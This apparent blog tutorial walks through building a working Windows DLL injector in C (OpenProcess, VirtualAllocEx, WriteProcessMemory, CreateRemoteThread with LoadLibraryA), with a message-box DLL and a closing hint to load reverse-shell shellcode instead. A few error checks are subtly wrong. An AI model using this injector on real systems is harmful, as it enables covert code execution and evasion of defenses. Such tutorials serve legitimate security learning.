DLL Injection

Hussain
11 min readSep 6, 2023

--

Overview

In this task, we will attempt to perform DLL(Dynamic-link Library) Injection into a separate process. It falls under the category of “Process injection”, which is a method used to evade defenses. This technique is part of the “Defense Evasion” tactic.

Technique: Process Injection — T1055

Process Injection is a technique employed by malicious actors to bypass detection and gain higher privileges. This method entails injecting malicious arbitrary code into an isolated process that operates within a Windows environment and subsequently executing it. For more detailed information, refer to the link provided below:

Sub-Technique: Dynamic-link Library Injection — T1055.001

DLL injection is performed by writing the path to a DLL into the virtual address space of the target process before invoking the thread that calls the LoadLibrary API, which then loads the specified DLL. For more detailed information, refer to the link provided below:

The general steps for this technique to work are as follows:

  1. Obtain the handle of the already running process.
  2. Allocate a buffer in the memory of the process.
  3. Write the path of the malicious DLL into the buffer.
  4. Get handle of Kernel32.dll.
  5. Get the address of the LoadLibrary function.
  6. Invoke a thread to execute the LoadLibrary function with the DLL path as its parameter.

Setup:

  1. Linux environment(Attacker)
  • Metasploit or Netcat

2. Windows environment(Target)

  • Disabled windows defender
  • MinGW-w64 compiler
  • Microsoft SysInternals Suite
  • Process Hacker

Link to download the Process Hacker:

Link to download the SysInternals Suite:

Link to download the MinGW Compilers:

Follow the below tutorial to install and setup the mingw compilers on your windows machine:

Prerequisites:

Go through my last post on “Shellcode Injection” and “DLL Hijacking”.

Writing the Program

A lot of code is very similar to what we had in the shellcode injection blog, with a few changes we will discuss when we get there.

#include <stdio.h>
#include <windows.h>


#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)


int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);


//initializing dll
char dllPath[] = "C:\\Users\\target\\Desktop\\maldev\\dll-inject\\dll.dll";
size_t sizedll = sizeof(dllPath);

i("DLL: %s",dllPath);
i("size of dllpath: %d\n", sizedll);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d, error: 0x%lx", PID, GetLastError());
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizedll, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer, error: ",GetLastError);
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %p\n", AllocBuffer);

return 0;

}

Instead of using shellcode, I have initialized the path of the DLL to be loaded into the target process. The second difference is that when allocating the buffer, we use the size of the full path to allocate the space in memory. Instead of setting all three permissions (READ, WRITE, and EXECUTE), we will set the permissions to only READ and WRITE. We only need the location of the DLL and do not need to execute it in memory.

After allocating buffer, we will write the path of dll in this region using WriteProcessMemory. We used this in our last post as well while writing the shellcode.

#include <stdio.h>
#include <windows.h>


#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)


int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);


//initializing dll
char dllPath[] = "C:\\Users\\target\\Desktop\\maldev\\dll-inject\\dll.dll";
size_t sizedll = sizeof(dllPath);

i("DLL: %s",dllPath);
i("size of dllpath: %d\n", sizedll);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d, error: 0x%lx", PID, GetLastError());
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizedll, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer, error: ",GetLastError);
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %p\n", AllocBuffer);


/*Write the dllPath into the buffer*/
i("Trying to write the dllpath to buffer");
if (WriteProcessMemory(hProcess, AllocBuffer, dllPath, sizedll, NULL) == 0){
e("Unable to write the dllPath, error: ",GetLastError);
return 1;
}
s("Wrote dllPath to the buffer!\n");

return 0;

}

Now, to load this DLL whose path we have already specified, we can use the function LoadLibraryA. However, since directly using this function in the program will load the DLL into our process, we first need to load its memory location and invoke it directly as a thread into the target process. For that, we will first have to get the handle of the Kernel32.dll module via GetModuleHandleA and search for the location of the function inside it.

HMODULE GetModuleHandleA(
[in, optional] LPCSTR lpModuleName
);

The function only needs the name of the module to be passed as a parameter. We can simply pass in Kernel32.dll here.

Read more about the above function from the link below:

After obtaining the handle, we will use the GetProcAddress function to find the address of the LoadLibraryA function, allowing us to load the DLL path we specified above.

FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);

In the first parameter, we will pass the handle of the Kernel32.dll module we retrieved above, and in the second parameter, we can simply write LoadLibraryA to obtain the address of this particular function.

Read more about the functions from the link below:

#include <stdio.h>
#include <windows.h>


#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)


int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);


//initializing dll
char dllPath[] = "C:\\Users\\target\\Desktop\\maldev\\dll-inject\\dll.dll";
size_t sizedll = sizeof(dllPath);

i("DLL: %s",dllPath);
i("size of dllpath: %d\n", sizedll);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d, error: 0x%lx", PID, GetLastError());
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizedll, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer, error: ",GetLastError);
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %p\n", AllocBuffer);


/*Write the dllPath into the buffer*/
i("Trying to write the dllpath to buffer");
if (WriteProcessMemory(hProcess, AllocBuffer, dllPath, sizedll, NULL) == 0){
e("Unable to write the dllPath, error: ",GetLastError);
return 1;
}
s("Wrote dllPath to the buffer!\n");


/*Getting the handle of the kernel32.dll module*/
i("Trying to get the handle of kernel32.dll");
HMODULE hkernel32 = GetModuleHandleA("Kernel32.dll");
if (hkernel32 == NULL){
e("Not Able to get the handle of module,, error: 0x%lx", GetLastError());
return 1;
}
s("Got the Handle of the module kernel32");
i("Module Handle: 0x%p\n", hkernel32);


/*Getting the address of LoadLibraryA*/
i("Trying to get the address of loadlibraryA");
FARPROC loadlibaddr = GetProcAddress(hkernel32, "LoadLibraryA");
if (loadlibaddr == NULL){
e("Failed to retrieve address, error: ",GetLastError);
return 1;
}
s("Succesfully retreived the address");
i("Address: %p\n", loadlibaddr);

return 0;

}

Kernel32.dll is a library file containing many functions that can be used in Windows system programming. The LoadLibraryA function is also a part of the Kernel32.dll library, which is why we call Kernel32 to get the address of LoadLibraryA.

The functions we have already been using, such as VirtualAlloc, OpenProcess, and GetProcAddress, are also part of the Kernel32.dll. Unlike these functions, we can't use LoadLibraryA directly in our program, as doing so would call the function within our own program. We will see later how we can call this function through another process.

Explore more functions from the link below:

Now, the final step is to invoke a thread in the target process using CreateRemoteThread. You can read more about it in my previous post. The difference is that we will pass the address of the LoadLibraryA function as the starting address, typecasting it with LPTHREAD_START_ROUTINE to align it with the function's signature.

#include <stdio.h>
#include <windows.h>


#define i(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define e(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define s(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define w(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)


int main(int argc, char* argv[]){

/*Declaring and initializing variables*/
HANDLE hProcess, hThread = NULL;
DWORD PID, TID;
LPVOID AllocBuffer;

if (argc < 2){
e("Usage: %s <PID>", argv[0]);
return 1;
}

PID = atoi(argv[1]); //Converting the argument to int
i("Inserted PID: %d\n", PID);


//initializing dll
char dllPath[] = "C:\\Users\\target\\Desktop\\maldev\\dll-inject\\dll.dll";
size_t sizedll = sizeof(dllPath);

i("DLL: %s",dllPath);
i("size of dllpath: %d\n", sizedll);

/*Getting the handle of a process specified by its PID*/
i("Trying to get the handle of the Procees: ", PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL){
e("Not Able to get the handle of process %d, error: 0x%lx", PID, GetLastError());
return 1;
}
s("Got the Handle of the process: %d", PID);
i("Processes Handle: 0x%p\n", hProcess);


/*Allocating the buffer within the virtual addrress space of the process*/
i("Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p",hProcess);
AllocBuffer = VirtualAllocEx(hProcess, NULL, sizedll, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (AllocBuffer == NULL){
e("Failed to Allocate Buffer, error: ",GetLastError);
return 1;
}
s("Succesfully Aloocated the buffer into the Virtual space of the process");
i("Address: %p\n", AllocBuffer);


/*Write the dllPath into the buffer*/
i("Trying to write the dllpath to buffer");
if (WriteProcessMemory(hProcess, AllocBuffer, dllPath, sizedll, NULL) == 0){
e("Unable to write the dllPath, error: ",GetLastError);
return 1;
}
s("Wrote dllPath to the buffer!\n");


/*Getting the handle of the kernel32.dll module*/
i("Trying to get the handle of kernel32.dll");
HMODULE hkernel32 = GetModuleHandleA("Kernel32.dll");
if (hkernel32 == NULL){
e("Not Able to get the handle of module,, error: 0x%lx", GetLastError());
return 1;
}
s("Got the Handle of the module kernel32");
i("Module Handle: 0x%p\n", hkernel32);


/*Getting the address of LoadLibraryA*/
i("Trying to get the address of loadlibraryA");
//LPTHREAD_START_ROUTINE loadlibaddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hkernel32, "LoadLibraryA");
FARPROC loadlibaddr = GetProcAddress(hkernel32, "LoadLibraryA");
if (loadlibaddr == NULL){
e("Failed to retrieve address, error: ",GetLastError);
return 1;
}
s("Succesfully retreived the address");
i("Address: %p\n", loadlibaddr);


/*Creating a thread to load the dll*/
i("Creating a thread");
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadlibaddr, AllocBuffer, 0, &TID);
if (hProcess == NULL){
e("Not Able to create the thread %d, error: 0x%lx", TID, GetLastError());
return 1;
}
s("Thread ID: %d", TID);

WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);

return 0;
}

Before executing, I will first write a simple DLL that will display a message box when loaded. You can refer to my DLL Hijacking post to learn about writing your own DLL.

#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID LpReserved) {
switch(dwReason) {
case DLL_PROCESS_ATTACH:
char text[50];
sprintf(text, "Called by PID: %u", GetCurrentProcessId());
MessageBox(NULL, text, "Alert", MB_ICONEXCLAMATION | MB_OK);
break;
}

return 0;
}

We can put the DLL in the location specified above.

To obtain a reverse shell, you can either execute the shellcode in the DLL or write reverse shell code, as we did in the DLL Hijacking post.

--

--